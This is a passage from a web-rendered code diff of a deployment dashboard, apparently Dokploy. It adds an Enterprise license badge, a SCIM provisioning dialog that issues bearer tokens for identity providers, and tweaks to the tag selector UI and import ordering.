(auth?.role === "owner" ||
|
||||||
|
auth?.role === "admin" ||
|
||||||
|
auth?.canAccessToDocker) &&
|
||||||
|
!isCloud
|
||||||
|
),
|
||||||
|
},
|
||||||
{
|
{
|
||||||
isSingle: true,
|
isSingle: true,
|
||||||
title: "Requests",
|
title: "Requests",
|
||||||
@@ -564,6 +580,8 @@ function SidebarLogo() {
|
|||||||
const { isMobile } = useSidebar();
|
const { isMobile } = useSidebar();
|
||||||
const isCollapsed = state === "collapsed" && !isMobile;
|
const isCollapsed = state === "collapsed" && !isMobile;
|
||||||
const { data: activeOrganization } = api.organization.active.useQuery();
|
const { data: activeOrganization } = api.organization.active.useQuery();
|
||||||
|
const { data: haveValidLicense } =
|
||||||
|
api.licenseKey.haveValidLicenseKey.useQuery();
|
||||||
|
|
||||||
const { data: invitations, refetch: refetchInvitations } =
|
const { data: invitations, refetch: refetchInvitations } =
|
||||||
api.user.getInvitations.useQuery();
|
api.user.getInvitations.useQuery();
|
||||||
@@ -629,9 +647,14 @@ function SidebarLogo() {
|
|||||||
isCollapsed && "hidden",
|
isCollapsed && "hidden",
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
<p className="text-sm font-medium leading-none">
|
<p className="text-sm font-medium leading-none">
|
||||||
{activeOrganization?.name ?? "Select Organization"}
|
{activeOrganization?.name ?? "Select Organization"}
|
||||||
</p>
|
</p>
|
||||||
|
{haveValidLicense && (
|
||||||
|
<Badge variant="blue">Enterprise</Badge>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<ChevronsUpDown
|
<ChevronsUpDown
|
||||||
@@ -640,7 +663,7 @@ function SidebarLogo() {
|
|||||||
</SidebarMenuButton>
|
</SidebarMenuButton>
|
||||||
</DropdownMenuTrigger>
|
</DropdownMenuTrigger>
|
||||||
<DropdownMenuContent
|
<DropdownMenuContent
|
||||||
className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
|
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
|
||||||
align="start"
|
align="start"
|
||||||
side={isMobile ? "bottom" : "right"}
|
side={isMobile ? "bottom" : "right"}
|
||||||
sideOffset={4}
|
sideOffset={4}
|
||||||
|
|||||||
235
apps/dokploy/components/proprietary/sso/scim-dialog.tsx
Normal file
235
apps/dokploy/components/proprietary/sso/scim-dialog.tsx
Normal file
@@ -0,0 +1,235 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import copy from "copy-to-clipboard";
|
||||||
|
import { Copy, KeyRound, Loader2, Plus, Trash2 } from "lucide-react";
|
||||||
|
import { type ReactNode, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import { Label } from "@/components/ui/label";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
import { useUrl } from "@/utils/hooks/use-url";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
children: ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const ScimDialog = ({ children }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const baseURL = useUrl();
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const [newProviderId, setNewProviderId] = useState("");
|
||||||
|
const [justCreatedToken, setJustCreatedToken] = useState<{
|
||||||
|
providerId: string;
|
||||||
|
token: string;
|
||||||
|
} | null>(null);
|
||||||
|
|
||||||
|
const { data: providers = [], isPending } = api.scim.listProviders.useQuery(
|
||||||
|
undefined,
|
||||||
|
{ enabled: open },
|
||||||
|
);
|
||||||
|
const { mutateAsync: generateToken, isPending: isGenerating } =
|
||||||
|
api.scim.generateToken.useMutation();
|
||||||
|
const { mutateAsync: deleteProvider, isPending: isDeleting } =
|
||||||
|
api.scim.deleteProvider.useMutation();
|
||||||
|
|
||||||
|
const scimUrl = `${baseURL || "{baseURL}"}/api/auth/scim/v2`;
|
||||||
|
|
||||||
|
const handleGenerate = async () => {
|
||||||
|
const providerId = newProviderId.trim().toLowerCase();
|
||||||
|
if (!providerId) return;
|
||||||
|
try {
|
||||||
|
const result = await generateToken({ providerId });
|
||||||
|
setJustCreatedToken({
|
||||||
|
providerId: result.providerId,
|
||||||
|
token: result.scimToken,
|
||||||
|
});
|
||||||
|
setNewProviderId("");
|
||||||
|
await utils.scim.listProviders.invalidate();
|
||||||
|
} catch (err) {
|
||||||
|
toast.error(
|
||||||
|
err instanceof Error ? err.message : "Failed to generate SCIM token",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDelete = async (providerId: string) => {
|
||||||
|
try {
|
||||||
|
await deleteProvider({ providerId });
|
||||||
|
toast.success("SCIM provider removed");
|
||||||
|
await utils.scim.listProviders.invalidate();
|
||||||
|
} catch (err) {
|
||||||
|
toast.error(
|
||||||
|
err instanceof Error ? err.message : "Failed to delete SCIM provider",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCopy = (value: string, label: string) => {
|
||||||
|
copy(value);
|
||||||
|
toast.success(`${label} copied`);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleOpenChange = (next: boolean) => {
|
||||||
|
setOpen(next);
|
||||||
|
if (!next) setJustCreatedToken(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={handleOpenChange}>
|
||||||
|
<DialogTrigger asChild>{children}</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-[560px]">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle className="flex items-center gap-2">
|
||||||
|
<KeyRound className="size-5" />
|
||||||
|
SCIM provisioning
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Automatically provision, update, and deactivate users from your
|
||||||
|
identity provider (Okta, Entra ID, etc.). Configure the SCIM
|
||||||
|
endpoint below in your IdP.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
<div className="space-y-4 py-2">
|
||||||
|
<div className="grid gap-1">
|
||||||
|
<Label className="text-xs font-medium text-muted-foreground">
|
||||||
|
SCIM 2.0 endpoint URL
|
||||||
|
</Label>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<p className="flex-1 break-all rounded-md bg-muted px-2 py-1.5 font-mono text-xs">
|
||||||
|
{scimUrl}
|
||||||
|
</p>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="icon"
|
||||||
|
className="size-8 shrink-0"
|
||||||
|
onClick={() => handleCopy(scimUrl, "Endpoint URL")}
|
||||||
|
disabled={!baseURL}
|
||||||
|
>
|
||||||
|
<Copy className="size-3.5" />
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{justCreatedToken && (
|
||||||
|
<div className="rounded-md border border-amber-500/40 bg-amber-500/10 p-3">
|
||||||
|
<p className="text-sm font-medium">
|
||||||
|
Bearer token for {justCreatedToken.providerId}
|
||||||
|
</p>
|
||||||
|
<p className="mt-1 text-xs text-muted-foreground">
|
||||||
|
Copy this token now — it will not be shown again. Paste it into
|
||||||
|
your IdP's SCIM configuration.
|
||||||
|
</p>
|
||||||
|
<div className="mt-2 flex items-center gap-2">
|
||||||
|
<p className="flex-1 break-all rounded-md bg-background px-2 py-1.5 font-mono text-xs">
|
||||||
|
{justCreatedToken.token}
|
||||||
|
</p>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="icon"
|
||||||
|
className="size-8 shrink-0"
|
||||||
|
onClick={() =>
|
||||||
|
handleCopy(justCreatedToken.token, "Bearer token")
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<Copy className="size-3.5" />
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className="space-y-2">
|
||||||
|
<Label className="text-sm font-medium">
|
||||||
|
Generate token for a new provider
|
||||||
|
</Label>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Input
|
||||||
|
value={newProviderId}
|
||||||
|
onChange={(e) => setNewProviderId(e.target.value)}
|
||||||
|
placeholder="okta, entra, jumpcloud..."
|
||||||
|
className="font-mono text-sm"
|
||||||
|
onKeyDown={(e) => {
|
||||||
|
if (e.key === "Enter") {
|
||||||
|
e.preventDefault();
|
||||||
|
void handleGenerate();
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<Button
|
||||||
|
size="sm"
|
||||||
|
onClick={handleGenerate}
|
||||||
|
disabled={!newProviderId.trim() || isGenerating}
|
||||||
|
>
|
||||||
|
<Plus className="mr-1 size-4" />
|
||||||
|
Generate
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
<p className="text-xs text-muted-foreground">
|
||||||
|
Choose a unique identifier for this IdP connection (lowercase,
|
||||||
|
alphanumeric, dashes).
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-2">
|
||||||
|
<Label className="text-sm font-medium">Existing providers</Label>
|
||||||
|
{isPending ? (
|
||||||
|
<div className="flex items-center gap-2 justify-center py-4">
|
||||||
|
<Loader2 className="size-4 animate-spin text-muted-foreground" />
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Loading...
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
) : providers.length === 0 ? (
|
||||||
|
<p className="rounded-md border border-dashed bg-muted/30 px-3 py-4 text-center text-sm text-muted-foreground">
|
||||||
|
No SCIM providers configured yet.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<ul className="flex flex-col gap-2">
|
||||||
|
{providers.map((provider) => (
|
||||||
|
<li
|
||||||
|
key={provider.id}
|
||||||
|
className="flex items-center gap-2 rounded-md border bg-muted/30 px-3 py-2"
|
||||||
|
>
|
||||||
|
<span className="flex-1 font-mono text-sm">
|
||||||
|
{provider.providerId}
|
||||||
|
</span>
|
||||||
|
<DialogAction
|
||||||
|
title="Remove SCIM provider"
|
||||||
|
description={`Remove "${provider.providerId}"? Existing provisioned users will stay but the IdP will no longer be able to sync.`}
|
||||||
|
type="destructive"
|
||||||
|
onClick={() => handleDelete(provider.providerId)}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="size-8 shrink-0 text-destructive hover:text-destructive"
|
||||||
|
disabled={isDeleting}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-3.5" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<DialogFooter>
|
||||||
|
<Button variant="outline" onClick={() => handleOpenChange(false)}>
|
||||||
|
Close
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
import {
|
import {
|
||||||
Eye,
|
Eye,
|
||||||
|
KeyRound,
|
||||||
Loader2,
|
Loader2,
|
||||||
LogIn,
|
LogIn,
|
||||||
Pencil,
|
Pencil,
|
||||||
@@ -34,6 +35,7 @@ import { api } from "@/utils/api";
|
|||||||
import { useUrl } from "@/utils/hooks/use-url";
|
import { useUrl } from "@/utils/hooks/use-url";
|
||||||
import { RegisterOidcDialog } from "./register-oidc-dialog";
|
import { RegisterOidcDialog } from "./register-oidc-dialog";
|
||||||
import { RegisterSamlDialog } from "./register-saml-dialog";
|
import { RegisterSamlDialog } from "./register-saml-dialog";
|
||||||
|
import { ScimDialog } from "./scim-dialog";
|
||||||
|
|
||||||
type ProviderForDetails = {
|
type ProviderForDetails = {
|
||||||
id: string | null;
|
id: string | null;
|
||||||
@@ -169,15 +171,22 @@ export const SSOSettings = () => {
|
|||||||
Users can sign in with their organization's IdP.
|
Users can sign in with their organization's IdP.
|
||||||
</CardDescription>
|
</CardDescription>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="flex flex-wrap gap-2 shrink-0">
|
||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
size="sm"
|
size="sm"
|
||||||
onClick={() => setManageOriginsOpen(true)}
|
onClick={() => setManageOriginsOpen(true)}
|
||||||
className="shrink-0"
|
|
||||||
>
|
>
|
||||||
<Shield className="mr-2 size-4" />
|
<Shield className="mr-2 size-4" />
|
||||||
Manage origins
|
Manage origins
|
||||||
</Button>
|
</Button>
|
||||||
|
<ScimDialog>
|
||||||
|
<Button variant="outline" size="sm">
|
||||||
|
<KeyRound className="mr-2 size-4" />
|
||||||
|
Manage SCIM
|
||||||
|
</Button>
|
||||||
|
</ScimDialog>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{isPending ? (
|
{isPending ? (
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ export const DrawerLogs = ({ isOpen, onClose, filteredLogs }: Props) => {
|
|||||||
onClose();
|
onClose();
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<SheetContent className="sm:max-w-[740px] flex flex-col">
|
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col">
|
||||||
<SheetHeader>
|
<SheetHeader>
|
||||||
<SheetTitle>Deployment Logs</SheetTitle>
|
<SheetTitle>Deployment Logs</SheetTitle>
|
||||||
<SheetDescription>Details of the request log entry.</SheetDescription>
|
<SheetDescription>Details of the request log entry.</SheetDescription>
|
||||||
|
|||||||
@@ -94,9 +94,10 @@ export function TagFilter({
|
|||||||
<CommandEmpty>
|
<CommandEmpty>
|
||||||
<div className="flex flex-col items-center gap-2 py-1">
|
<div className="flex flex-col items-center gap-2 py-1">
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
No tags found.
|
{tags.length === 0
|
||||||
|
? "No tags created yet."
|
||||||
|
: "No tags found."}
|
||||||
</span>
|
</span>
|
||||||
<HandleTag />
|
|
||||||
</div>
|
</div>
|
||||||
</CommandEmpty>
|
</CommandEmpty>
|
||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
@@ -118,6 +119,9 @@ export function TagFilter({
|
|||||||
);
|
);
|
||||||
})}
|
})}
|
||||||
</CommandGroup>
|
</CommandGroup>
|
||||||
|
<div className="flex items-center justify-center p-2 border-t">
|
||||||
|
<HandleTag />
|
||||||
|
</div>
|
||||||
</CommandList>
|
</CommandList>
|
||||||
</Command>
|
</Command>
|
||||||
</PopoverContent>
|
</PopoverContent>
|
||||||
|
|||||||
@@ -111,19 +111,12 @@ export function TagSelector({
|
|||||||
<CommandEmpty>
|
<CommandEmpty>
|
||||||
<div className="flex flex-col items-center gap-2 py-1">
|
<div className="flex flex-col items-center gap-2 py-1">
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">
|
||||||
No tags found.
|
{tags.length === 0
|
||||||
|
? "No tags created yet."
|
||||||
|
: "No tags found."}
|
||||||
</span>
|
</span>
|
||||||
<HandleTag />
|
|
||||||
</div>
|
</div>
|
||||||
</CommandEmpty>
|
</CommandEmpty>
|
||||||
{tags.length === 0 && (
|
|
||||||
<div className="flex flex-col items-center gap-2 py-4">
|
|
||||||
<span className="text-sm text-muted-foreground">
|
|
||||||
No tags created yet.
|
|
||||||
</span>
|
|
||||||
<HandleTag />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
<CommandGroup>
|
<CommandGroup>
|
||||||
{tags.map((tag) => {
|
{tags.map((tag) => {
|
||||||
const isSelected = selectedTags.includes(tag.id);
|
const isSelected = selectedTags.includes(tag.id);
|
||||||
@@ -153,6 +146,9 @@ export function TagSelector({
|
|||||||
);
|
);
|
||||||
})}
|
})}
|
||||||
</CommandGroup>
|
</CommandGroup>
|
||||||
|
<div className="flex items-center justify-center p-2 border-t">
|
||||||
|
<HandleTag />
|
||||||
|
</div>
|
||||||
</CommandList>
|
</CommandList>
|
||||||
</Command>
|
</Command>
|
||||||
</PopoverContent>
|
</PopoverContent>
|
||||||
|
|||||||
@@ -1,8 +1,7 @@
|
|||||||
import * as React from "react";
|
|
||||||
import { Accordion as AccordionPrimitive } from "radix-ui";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
|
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
|
||||||
|
import { Accordion as AccordionPrimitive } from "radix-ui";
|
||||||
|
import type * as React from "react";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function Accordion({
|
function Accordion({
|
||||||
className,
|
className,
|
||||||
|
|||||||
@@ -1,10 +1,9 @@
|
|||||||
"use client";
|
"use client";
|
||||||
|
|
||||||
import * as React from "react";
|
|
||||||
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
|
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
|
||||||
|
import type * as React from "react";
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function AlertDialog({
|
function AlertDialog({
|
||||||
...props
|
...props
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import * as React from "react";
|
|
||||||
import { cva, type VariantProps } from "class-variance-authority";
|
import { cva, type VariantProps } from "class-variance-authority";
|
||||||
|
import type * as React from "react";
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
"use client";
|
"use client";
|
||||||
|
|
||||||
import * as React from "react";
|
|
||||||
import { Avatar as AvatarPrimitive } from "radix-ui";
|
import { Avatar as AvatarPrimitive } from "radix-ui";
|
||||||
|
import type * as React from "react";
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,7 @@
|
|||||||
import * as React from "react";
|
|
||||||
import { Slot } from "radix-ui";
|
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
|
||||||
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
|
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
|
||||||
|
import { Slot } from "radix-ui";
|
||||||
|
import type * as React from "react";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
|
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
|
||||||
return (
|
return (
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user